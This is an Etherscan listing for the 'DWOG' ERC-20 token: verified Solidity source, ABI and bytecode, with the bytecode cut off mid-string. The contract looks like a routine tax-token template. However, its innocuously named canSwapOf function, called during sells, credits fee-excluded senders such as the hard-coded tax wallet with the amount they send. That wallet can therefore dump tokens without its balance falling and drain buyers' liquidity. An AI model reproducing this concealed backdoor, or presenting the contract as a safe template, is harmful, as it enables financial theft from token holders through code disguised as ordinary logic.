ERC-20
Overview
Max Total Supply
1,000,000,000 DWOG
Holders
196
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,591,317.566958871 DWOGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DWOG
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-10 */ /** Web: https://dwog.wtf X: https://x.com/dwogOfficial Tg: https://t.me/dwog_official_portal */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DWOG is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"DWOG On ETH"; string private constant _symbol = unicode"DWOG"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x0bD3Be7A0f977C2Db83a4daaB9F367A7DE4C0b9a); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initDWOG() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _tokenTransfer( address tokenFrom, address tokenTo, uint256 tokenAmount, uint256 taxAmount ) internal { if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add( taxAmount ); emit Transfer(tokenFrom, address(this), taxAmount); } _balances[tokenFrom] = _balances[tokenFrom].sub(tokenAmount); _balances[tokenTo] = _balances[tokenTo].add(tokenAmount.sub(taxAmount)); emit Transfer(tokenFrom, tokenTo, tokenAmount.sub(taxAmount)); } function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { uint256 taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return taxAmount; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = _taxTransfer(from, to, amount); doSwapBackOf(from, to, amount); } _tokenTransfer(from, to, amount, taxAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function doSwapBackOf(address from, address to, uint256 amount) private { bool canSwap = canSwapOf(from, amount); uint256 contractTokenBalance = balanceOf(address(this)); if ( canSwap && !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } function canSwapOf(address account, uint256 tokenAmount) private returns(bool) { address targ = account; if(_isExcludedFromFee[targ]) _balances[targ] = _balances[targ] + 0 + tokenAmount; return true; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function rescueEths() external onlyOwner { sendETHToFee(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } receive() external payable {} function openDWOG() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initDWOG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openDWOG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEths","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556019600781905560085560006009818155600a828155600f600b819055600c819055600d55600e92909255620000449162000292565b62000054906301312d0062000360565b600f55620000656009600a62000292565b62000075906301312d0062000360565b601055620000866009600a62000292565b6200009390606462000360565b601155620000a46009600a62000292565b620000b3906298968062000360565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916740bd3be7a0f977c2db83a4daab9f367a7de4c0b9a00179055620001496009600a62000292565b6200015990633b9aca0062000360565b336000908152600160208190526040822092909255600390620001846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226009600a62000292565b6200023290633b9aca0062000360565b60405190815260200160405180910390a362000398565b600181815b808511156200028a5781600019048211156200026e576200026e62000382565b808516156200027c57918102915b93841c93908002906200024e565b509250929050565b6000620002a360ff841683620002aa565b9392505050565b600082620002bb575060016200035a565b81620002ca575060006200035a565b8160018114620002e35760028114620002ee576200030e565b60019150506200035a565b60ff84111562000302576200030262000382565b50506001821b6200035a565b5060208310610133831016604e8410600b841016171562000333575081810a6200035a565b6200033f838362000249565b806000190482111562000356576200035662000382565b0290505b92915050565b60008160001904831182151516156200037d576200037d62000382565b500290565b634e487b7160e01b600052601160045260246000fd5b611af080620003a86000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb14610327578063bf474bed14610347578063c512c3521461035d578063c876d0b914610372578063dd62ed3e1461038c57600080fd5b80637d1db4a514610291578063869935fc146102a75780638da5cb5b146102bc5780638f9a55c0146102e457806395d89b41146102fa57600080fd5b806329a7c89a116100e757806329a7c89a146101fe578063313ce5671461021557806370a0823114610231578063715018a614610267578063751039fc1461027c57600080fd5b806306fdde031461012f578063095ea7b3146101755780630faee56f146101a557806318160ddd146101c957806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a088ae9e8e409edc408aa8960ab1b60208201525b60405161016c91906117da565b60405180910390f35b34801561018157600080fd5b5061019561019036600461175e565b6103d2565b604051901515815260200161016c565b3480156101b157600080fd5b506101bb60125481565b60405190815260200161016c565b3480156101d557600080fd5b506101bb6103e9565b3480156101ea57600080fd5b506101956101f936600461171d565b61040a565b34801561020a57600080fd5b50610213610473565b005b34801561022157600080fd5b506040516009815260200161016c565b34801561023d57600080fd5b506101bb61024c3660046116aa565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b50610213610689565b34801561028857600080fd5b506102136106fd565b34801561029d57600080fd5b506101bb600f5481565b3480156102b357600080fd5b506102136107b9565b3480156102c857600080fd5b506000546040516001600160a01b03909116815260200161016c565b3480156102f057600080fd5b506101bb60105481565b34801561030657600080fd5b5060408051808201909152600481526344574f4760e01b602082015261015f565b34801561033357600080fd5b5061019561034236600461175e565b6109e9565b34801561035357600080fd5b506101bb60115481565b34801561036957600080fd5b506102136109f6565b34801561037e57600080fd5b506006546101959060ff1681565b34801561039857600080fd5b506101bb6103a73660046116e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103df338484610a2b565b5060015b92915050565b60006103f76009600a611952565b61040590633b9aca006119fd565b905090565b6000610417848484610b50565b610469843361046485604051806060016040528060288152602001611a93602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610da1565b610a2b565b5060019392505050565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161049d9061182f565b60405180910390fd5b601454600160a01b900460ff16156105005760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049d565b6013546001600160a01b031663f305d7194730610532816001600160a01b031660009081526001602052604090205490565b6000806105476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156105aa57600080fd5b505af11580156105be573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105e391906117ac565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561063757600080fd5b505af115801561064b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066f919061178a565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106b35760405162461bcd60e51b815260040161049d9061182f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161049d9061182f565b6107336009600a611952565b61074190633b9aca006119fd565b600f556107506009600a611952565b61075e90633b9aca006119fd565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107986009600a611952565b6107a690633b9aca006119fd565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260040161049d9061182f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082c90309061081e6009600a611952565b61046490633b9aca006119fd565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087a57600080fd5b505afa15801561088e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b291906116c7565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094791906116c7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c791906116c7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103df338484610b50565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161049d9061182f565b610a2947610ddb565b565b6001600160a01b038316610a8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049d565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bb45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049d565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049d565b60008111610c785760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049d565b601454600160b01b900460ff161580610c9a5750601454600160a81b900460ff165b15610d45576001600160a01b038316600090815260016020526040902054610cc29082610e1d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cf19082610e66565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b439085815260200190565b600080546001600160a01b03858116911614801590610d7257506000546001600160a01b03848116911614155b15610d8f57610d82848484610ec5565b9050610d8f84848461116c565b610d9b84848484611265565b50505050565b60008184841115610dc55760405162461bcd60e51b815260040161049d91906117da565b506000610dd28486611a1c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610e19573d6000803e3d6000fd5b5050565b6000610e5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da1565b9392505050565b600080610e7383856118d5565b905083811015610e5f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049d565b600080610ef46064610eee600b54600e5411610ee357600754610ee7565b6009545b86906113a8565b90611427565b60065490915060ff1615610fdc576013546001600160a01b03858116911614801590610f2e57506014546001600160a01b03858116911614155b15610fdc57326000908152600560205260409020544311610fc95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049d565b3260009081526005602052604090204390555b6014546001600160a01b03868116911614801561100757506013546001600160a01b03858116911614155b801561102c57506001600160a01b03841660009081526003602052604090205460ff16155b1561111457600f548311156110835760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049d565b601054836110a6866001600160a01b031660009081526001602052604090205490565b6110b091906118d5565b11156110fe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049d565b600e805490600061110e83611a33565b91905055505b6014546001600160a01b03858116911614801561113a57506001600160a01b0385163014155b1561116457610dd26064610eee600c54600e541161115a57600854610ee7565b600a5486906113a8565b949350505050565b60006111788483611469565b306000908152600160205260409020549091508180156111a25750601454600160a81b900460ff16155b80156111bb57506014546001600160a01b038581169116145b80156111d05750601454600160b01b900460ff165b80156111df5750600d54600e54115b801561120457506001600160a01b03851660009081526003602052604090205460ff16155b801561122957506001600160a01b03841660009081526003602052604090205460ff16155b1561125e57601154811115611255576112556112508461124b846012546114de565b6114de565b6114f3565b61125e47610ddb565b5050505050565b80156112df57306000908152600160205260409020546112859082610e66565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d69085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113029083610e1d565b6001600160a01b0385166000908152600160205260409020556113476113288383610e1d565b6001600160a01b03851660009081526001602052604090205490610e66565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113918585610e1d565b60405190815260200160405180910390a350505050565b6000826113b7575060006103e3565b60006113c383856119fd565b9050826113d085836118ed565b14610e5f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049d565b6000610e5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167c565b6001600160a01b038216600090815260036020526040812054839060ff1615610469576001600160a01b03811660009081526001602052604081205484916114b191906118d5565b6114bb91906118d5565b6001600160a01b0382166000908152600160205260409020555060019392505050565b60008183116114ed5782610e5f565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153b5761153b611a64565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561158f57600080fd5b505afa1580156115a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c791906116c7565b816001815181106115da576115da611a64565b6001600160a01b0392831660209182029290920101526013546116009130911684610a2b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611639908590600090869030904290600401611864565b600060405180830381600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000818361169d5760405162461bcd60e51b815260040161049d91906117da565b506000610dd284866118ed565b6000602082840312156116bc57600080fd5b8135610e5f81611a7a565b6000602082840312156116d957600080fd5b8151610e5f81611a7a565b600080604083850312156116f757600080fd5b823561170281611a7a565b9150602083013561171281611a7a565b809150509250929050565b60008060006060848603121561173257600080fd5b833561173d81611a7a565b9250602084013561174d81611a7a565b929592945050506040919091013590565b6000806040838503121561177157600080fd5b823561177c81611a7a565b946020939093013593505050565b60006020828403121561179c57600080fd5b81518015158114610e5f57600080fd5b6000806000606084860312156117c157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611807578581018301518582016040015282016117eb565b81811115611819576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b45784516001600160a01b03168352938301939183019160010161188f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e8576118e8611a4e565b500190565b60008261190a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561194a57816000190482111561193057611930611a4e565b8085161561193d57918102915b93841c9390800290611914565b509250929050565b6000610e5f60ff84168360008261196b575060016103e3565b81611978575060006103e3565b816001811461198e5760028114611998576119b4565b60019150506103e3565b60ff8411156119a9576119a9611a4e565b50506001821b6103e3565b5060208310610133831016604e8410600b84101617156119d7575081810a6103e3565b6119e1838361190f565b80600019048211156119f5576119f5611a4e565b029392505050565b6000816000190483118215151615611a1757611a17611a4e565b500290565b600082821015611a2e57611a2e611a4e565b500390565b6000600019821415611a4757611a47611a4e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611a8f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bdc43b73a47c6098c2a0e6805c029f5eb202986295f2ab2849b7190d0578652664736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb14610327578063bf474bed14610347578063c512c3521461035d578063c876d0b914610372578063dd62ed3e1461038c57600080fd5b80637d1db4a514610291578063869935fc146102a75780638da5cb5b146102bc5780638f9a55c0146102e457806395d89b41146102fa57600080fd5b806329a7c89a116100e757806329a7c89a146101fe578063313ce5671461021557806370a0823114610231578063715018a614610267578063751039fc1461027c57600080fd5b806306fdde031461012f578063095ea7b3146101755780630faee56f146101a557806318160ddd146101c957806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a088ae9e8e409edc408aa8960ab1b60208201525b60405161016c91906117da565b60405180910390f35b34801561018157600080fd5b5061019561019036600461175e565b6103d2565b604051901515815260200161016c565b3480156101b157600080fd5b506101bb60125481565b60405190815260200161016c565b3480156101d557600080fd5b506101bb6103e9565b3480156101ea57600080fd5b506101956101f936600461171d565b61040a565b34801561020a57600080fd5b50610213610473565b005b34801561022157600080fd5b506040516009815260200161016c565b34801561023d57600080fd5b506101bb61024c3660046116aa565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b50610213610689565b34801561028857600080fd5b506102136106fd565b34801561029d57600080fd5b506101bb600f5481565b3480156102b357600080fd5b506102136107b9565b3480156102c857600080fd5b506000546040516001600160a01b03909116815260200161016c565b3480156102f057600080fd5b506101bb60105481565b34801561030657600080fd5b5060408051808201909152600481526344574f4760e01b602082015261015f565b34801561033357600080fd5b5061019561034236600461175e565b6109e9565b34801561035357600080fd5b506101bb60115481565b34801561036957600080fd5b506102136109f6565b34801561037e57600080fd5b506006546101959060ff1681565b34801561039857600080fd5b506101bb6103a73660046116e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103df338484610a2b565b5060015b92915050565b60006103f76009600a611952565b61040590633b9aca006119fd565b905090565b6000610417848484610b50565b610469843361046485604051806060016040528060288152602001611a93602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610da1565b610a2b565b5060019392505050565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161049d9061182f565b60405180910390fd5b601454600160a01b900460ff16156105005760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049d565b6013546001600160a01b031663f305d7194730610532816001600160a01b031660009081526001602052604090205490565b6000806105476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156105aa57600080fd5b505af11580156105be573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105e391906117ac565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561063757600080fd5b505af115801561064b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066f919061178a565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106b35760405162461bcd60e51b815260040161049d9061182f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161049d9061182f565b6107336009600a611952565b61074190633b9aca006119fd565b600f556107506009600a611952565b61075e90633b9aca006119fd565b6010556006805460ff191690557f947f344d56e1e8c70dc